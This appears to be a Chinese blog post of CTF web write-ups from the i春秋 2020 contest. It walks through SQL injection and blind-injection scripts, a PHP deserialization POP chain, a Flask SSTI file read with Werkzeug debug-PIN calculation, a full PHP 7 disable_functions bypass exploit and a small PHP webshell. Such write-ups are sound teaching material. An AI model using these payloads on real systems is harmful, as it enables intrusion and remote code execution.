i春秋2020 新春公益赛

Day1

web

简单的招聘系统

万用密码登录admin用户

admin' or 1=1#
123qwe

blank-page中的search for key处存在SQL注入,联合查询就可以了

pages-blank.php?key=1' or 1=1 order by 5%23
判断存在5个字段

pages-blank.php?key=1' union select 1,2,3,4,5%23
回显在2处

/pages-blank.php?key=1' union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()%23
表名:backup, flag, user

pages-blank.php?key=1' union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database() and table_name='flag'%23
列名:id, flaaag

pages-blank.php?key=1' union select 1,flaaag,3,4,5 from flag%23
flag{7e67c965-96e3-4cf4-b3f5-2cdea749bb7d}

ezupload

无过滤,直接上传一句话,执行命令即可。白给?

下载下来研究一下怎么写的:

if (in_array($ext, ['php,htaccess,ini,'])) {
die('upload failed');
}

这个数组写错了,原意大概是if (in_array($ext, ['php','htaccess','ini']))然后需要利用phtml绕过。

盲注

打开题目得到源码:

<?php
# flag在fl4g里
include 'waf.php';
header("Content-type: text/html; charset=utf-8");
$db = new mysql();

$id = $_GET['id'];

if ($id) {
if(check_sql($id)){
exit();
} else {
$sql = "select * from flllllllag where id=$id";
$db->query($sql);
}
}
highlight_file(__FILE__);

虽然并不知道waf.php的过滤规则,但是很好fuzz,只要被匹配了就会exit(),fuzz发现union select ' =等常用关键字被ban了。没有等号可以使用基于regexp的时间盲注,该payload可成功延时:

?id=-1 or if((substr((fl4g),1,1) regexp "^f"), sleep(5),1)

所以就写脚本跑就行了:

import requests
import time
import datetime
from urllib.parse import quote
import string

url = "http://a4cbee3d20b542baaedefc971c0798dc808fea8f0de04dd9.changame.ichunqiu.com/?id=-1"
words = string.printable[:94]
# print(words)

target = 'fl4g'
result = ''
for i in range (1,50):
for char in words:
# 设置payload
payload =' or if((substr(({}),{},1) regexp "^{}"),sleep(5),1)'.format(target, i, char)
# 计算响应时长
start = int(time.time())
r = requests.get(url+quote(payload))
response_time = int(time.time()) - start

if response_time >= 4:
result += char
print('flag: {}'.format(result))
break

babyphp

这道题,一开始没做出来,以为是文件包含,然后死活弄不出来。看了P3rh4ps师傅的出题笔记,发现思路错了,勉强复现出来。。。大佬牛逼,学到了0rz

本题主要涉及php反序列化字符逃逸,以及POP链的构造,关于字符逃逸,我之前也没注意过,找了一篇文章,理解了一下原理——详解PHP反序列化中的字符逃逸

扫描发现www.zip,下载审计。

login.php

<?php
require_once('lib.php');
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>login</title>
<center>
<form action="login.php" method="post" style="margin-top: 300">
<h2>百万前端的用户信息管理系统</h2>
<h3>半成品系统 留后门的程序员已经跑路</h3>
<input type="text" name="username" placeholder="UserName" required>
<br>
<input type="password" style="margin-top: 20" name="password" placeholder="password" required>
<br>
<button style="margin-top:20;" type="submit">登录</button>
<br>
<img src='img/1.jpg'>大家记得做好防护</img>
<br>
<br>
<?php
$user=new user();
if(isset($_POST['username'])){
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['username'])){
die("<br>Damn you, hacker!");
}
if(preg_match("/union|select|drop|delete|insert|\#|\%|\`|\@|\\\\/i", $_POST['password'])){
die("Damn you, hacker!");
}
$user->login();
}
?>
</form>
</center>

update.php

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}

?>

index.php

<?php
require_once "lib.php";

if(isset($_GET['action'])){
require_once(__DIR__."/".$_GET['action'].".php");
}
else{
if($_SESSION['login']==1){
echo "<script>window.location.href='./index.php?action=update'</script>";
}
else{
echo "<script>window.location.href='./index.php?action=login'</script>";
}
}
?>

lib.php

<?php
error_reporting(0);
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="noob123";
public $dbpass="noob123";
public $database="noob123";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}

通过update.php得知,只要用admin登陆成功,即可获得flag。

核心代码在lib.php找反序列化点,在User类内:

public function update(){
$Info=unserialize($this->getNewinfo());
$age=$Info->age;

发现下面定义中,$age$nickname是可控的,其将Info对象序列化后经过safe()函数处理返回给update()进行反序列化。

public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}

跟进safe函数, 将很多SQL的关键字过滤,替换为hacker.

function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}

将关键字换成hacker, 导致长度发生变化(变长),可以进一步进行字符逃逸,然后注入对象。

在update.php内发现实例化了User并且调用了User->update()进行反序列化等操作,如果登录成功则输出flag:

$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}

继续跟进User对象,可以看到__toString()魔术方法:

public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}

来到UpdateHelper类,发现会把sql给echo()出来:

public function __destruct()
{
echo $this->sql;
}

如果$sql = new User()的话,就会触发User内的__toString()魔术方法,该魔术方法内调用了$nickname属性的update()方法。虽然dbCtrl对象拥有update()方法,但真正是自己做的题的话就会发现,若$nickname实例化成个对象没意义,那个update()方法完全是障眼法,只能继续看。

可以发现Info类内有__Call()魔术方法,如果调用了一个不存在的属性,__Call()方法就会触发,正好Info类没有update()方法,如果User内的$nickname实例化为Info对象,调用不存在的update()就会触发这个__Call(),这个__Call()魔术方法将Ctrlcaselogin()函数结果输出出来:

public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}

这就很明显了,要把$this->CtrlCase实例化成dbCtrl对象,调用dbCtrl对象内的login()方法,跟进:

public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;

发现它正好把SQL的结果给返回了,这样整个pop链基本就理清楚了:

利用UpdateHelper__destruct触发User__toString然后走到Info__call方法,在__call中调用了dbCtrl类的login方法,通过控制查询语句,把admin账户的密码查出来。

注意前面的内容中标注了有3个属性,为了保证属性一致,在payload前面加上CtrlCase的内容,然后在最后闭合语句,使unserialize忽略掉后面的CtrlCase

还需要在nickname中插入足量的黑名单字符,把payload挤出去。

POC

<?php
class User
{
public $age= 'select password,id from user where username=?'; //要把id放password后面
public $nickname=null;
}

class Info{
public $age;
public $nickname;
public $CtrlCase;
}

class UpdateHelper
{
public $sql;
}

class dbCtrl
{
public $hostname = "127.0.0.1";
public $dbuser="noob123";
public $dbpass="noob123";
public $database="noob123";
public $name='admin';
public $token = 'admin';
}

$v0w = new UpdateHelper();
$v0w->sql = new User();
$v0w->sql->nickname = new Info();
$v0w->sql->nickname->CtrlCase = new dbCtrl();

$v0w = '";s:8:"CtrlCase";' . serialize($v0w) . "}";
$length = strlen($v0w);
$v0w = str_repeat('union', $length).$v0w;
echo($v0w);

最终payload

unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":6:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:5:"token";s:5:"admin";}}}}}

然后到网站的update.php

POST: age=1&nickname=payload

得到admin密码的md5

解密后得到密码:yingyingying,登陆admin,得到flag

Day2

Web

blacklist

应该是一个sqlshell,进行union select时,给出balcklist

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

想办法进行绕过。

查表

1'; show tables;#

array(1) {
[0]=>
string(8) "FlagHere"
}

array(1) {
[0]=>
string(5) "words"
}

查字段

1'; show columns from FlagHere;#

array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}

MySQL有一个handler的可以代替select进行查询,payload:

1'; handler FlagHere open as v; handler v read first; handler v close;#

array(1) {
[0]=>
string(42) "flag{d9a362a0-3c8a-4f0e-b4fd-880287d5be73}"
}

Ezsqli

预备知识:

对MYSQL注入相关内容及部分Trick的归类小结 https://xz.aliyun.com/t/7169#toc-50

聊一聊bypass information_schema https://www.anquanke.com/post/id/193512

这个题看了P3rh4ps、rdd师傅的wp和微笑师傅的官方wp:

P3: http://p3rh4ps.top/index.php/2020/02/22/20-2-23-i%e6%98%a5%e7%a7%8b%e5%85%ac%e7%9b%8a%e8%b5%9b-%e5%89%8d%e4%b8%a4%e5%a4%a9-web-writeup/

rdd: https://blog.csdn.net/qq_40648358/article/details/104456748

smi1e:https://www.smi1e.top/%e6%96%b0%e6%98%a5%e6%88%98%e7%96%ab%e5%85%ac%e7%9b%8a%e8%b5%9b-ezsqli-%e5%87%ba%e9%a2%98%e5%b0%8f%e8%ae%b0/

刚开始还好,fuzz发现:

  • 过滤了and or关键字
  • 过滤了if
  • 不能用information_schema
  • 没有单独过滤union和select, 但是过滤了union select,union某某某select之类
  • 过滤了sys.schema_auto_increment_columns
  • 过滤了join

fuzz还发现:

2
返回Hello CQGAME
2||1=1
返回Hello Nu1L
2||1=5
返回Hello CQGAME

也就是说,本来2查询的是CQGAME,如果||后面的表达式为True则返回Nu1L、false则返回CQGAME。继续测试:

2||substr((select 1),1,1)=2
Hello CQGAME
2||substr((select 1),1,1)=1
Hello Nu1L

说明可以布尔盲注。

这里抄了一下smi1e师傅的payload

# -*- coding:utf8 -*-
import requests
import string
url = "http://127.0.0.1/index.php"

def exp1():
str1 = ('0123456789'+string.ascii_letters+string.punctuation).replace("'","").replace('"','').replace('\\','')
flag = ''
select = 'select group_concat(table_name) from sys.x$schema_flattened_keys'
for j in range(1,40):
for i in str1:
paylaod = "1/**/&&/**/(select substr(({}),{},1))='{}'".format(select, j, i)
#print(paylaod)
data = {
'id': paylaod,
}
r = requests.post(url,data=data)
if 'Nu1L' in r.text:
flag += i
print(flag)
break

def exp2():
str1 = ('-0123456789'+string.ascii_uppercase+string.ascii_lowercase+string.punctuation).replace("'","").replace('"','').replace('\\','')
flag = ''
flag_table_name = 'f1ag_1s_h3r3_hhhhh'
for j in range(1,39):
for i in str1:
i = flag+i
paylaod = "1&&((select 1,concat('{}~',CAST('0' as json))) < (select * from {} limit 1))".format(i,flag_table_name)
#print(paylaod)
data = {
'id': paylaod,
}
r = requests.post(url,data=data)

if 'Nu1L' not in r.text:
flag=i
print(flag)
break

if __name__ == '__main__':
exp1()
exp2()

Day3

Web

Flaskapp

进入网站y有两个功能:Base64编码,解码。在解码功能中,输入非法字符串,将会出现错误,可以进入debug模式。

但是需要PIN码,这里涉及到一个知识Flask debug pin安全问题

这个PIN码并不安全,如果可以得到一些信息,就可以计算出来。如果可以读取出这些信息,计算出PIN码,就可以进入debug模式,可以RCE解决问题。

测试发现解密处存在Flask的SSTI,可以利用SSTI进行任意文件读取(由于不知道flag位置和文件名,只能去读已知的文件)。
payload

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('想要读取的文件', 'r').read() }}{% endif %}{% endfor %} 

获取machine-id

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/proc/self/cgroup', 'r').read() }}{% endif %}{% endfor %} 

eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbignL3Byb2Mvc2VsZi9jZ3JvdXAnLCAncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9IA==

9:devices:/docker/3c7c60af8484830ab0b1e9615fada4e74d93a8a111baa4afcd949feeab56c320

docker环境,读取/etc/machine-id 是错误的

获取MAC地址

/sys/class/net/eth0/address
02:42:ac:12:00:06
# 注意mac地址要转成十进制: 2485377957894

获取用户名

/etc/passwd
flaskweb:x:1000:1000::/home/flaskweb:

报错得到flask app的路径

/usr/local/lib/python3.7/site-packages/flask/app.py

通过大佬的脚本计算PIN码

#脚本出处:https://xz.aliyun.com/t/2553
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',
'Flask',
'/usr/local/lib/python3.7/site-packages/flask/app.py'
]

private_bits = [
'2485377957894',# mac address,需要转成十进制
'3c7c60af8484830ab0b1e9615fada4e74d93a8a111baa4afcd949feeab56c320'# machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num


print(rv)

得到PIN码,刚才报错的位置,输入PIN码,正确即可进入一个python的shell

$ python flask-PIN.py
103-824-476

>>> print(os.popen('ls /').read())
...
this_is_the_flag.txt
...
>>> flag = os.popen('cat /this_is_the_flag.txt').read()
>>> print(flag)
flag{93df69f0-3005-414f-a119-c5562af1b167}

easy_thinking

非预期

因为/runtime/session/存在目录遍历,加之题目没有做docker容器,导致可以看其他选手的payload,在这个目录下发现了其他选手存的东西:

预期解

考察TP6任意文件操作漏洞

由不安全的SessionId导致的任意文件操作漏洞。该漏洞允许攻击者在目标环境启用session的条件下创建任意文件以及删除任意文件,在特定情况下还可以getshell。

进入网站,登录后,有一个搜索功能,会将个人搜索记录以序列化的方式存到以session命名的文件中。

因为存在上述漏洞,可以任意写入文件,这里直接写一句话,发现不行。用phpinfo()查看禁用函数。

scandir('/')发现根目录,有一个flag和一个readflag

Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => boot [5] => dev [6] => etc [7] => flag [8] => home [9] => lib [10] => lib64 [11] => media [12] => mnt [13] => opt [14] => proc [15] => readflag [16] => root [17] => run [18] => sbin [19] => srv [20] => start.sh [21] => sys [22] => tmp [23] => usr [24] => var ) ";}

尝试用php的文件读取函数直接读flag,发现没有权限Permission denied

推测需要通过绕过禁用函数,RCE执行readflag读取flag

找了一个大佬的脚本:https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass

利用这个GC的特定析构函数free后使用导致的漏洞Use After Free in GC with Certain Destructors

<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("/readflag"); //这里是想要执行的系统命令

function pwn($cmd) {
global $abc, $helper;

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

class ryat {
var $ryat;
var $chtg;

function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}

class Helper {
public $a, $b, $c, $d;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if you get segfaults

$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);

$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();

$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);

exit();
}

但是因为题目的搜索有长度限制,并不能直接把这么长的脚本保存到session的php文件里,需要先传一个php小马,再用小马上传这个bypass脚本。这是我找的一个小马:

<?php if(@$_GET["act"]=="save"){if(isset($_POST["content"])&&isset($_POST["name"])){if($_POST["content"]!=""&&$_POST["name"]!=""){if(fwrite(fopen(stripslashes($_POST["name"]),"w"),stripslashes($_POST["content"]))){echo "OK! <a href=\"".stripslashes($_POST["name"])."\">".stripslashes($_POST["name"])."</a>";};}}}else{if(@$_GET["act"]=="godsdoor"){echo '<meta charset="utf-8"><form action="?act=save" method="post">content:<br/><textarea name="content" ></textarea><br/>filenane:<br/><input name="name"/><br/><input type="submit" value="GO!"></form>';}}
?>
// ?act=godsdoor

将上面的bypass.php上传到这个目录,访问上传的文件就可以RCE了。

文章作者: V0WKeep3r
文章链接: http://v0w.top/2020/02/26/ichunqiu2020gys/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 V0W's Blog
支付宝打赏
微信打赏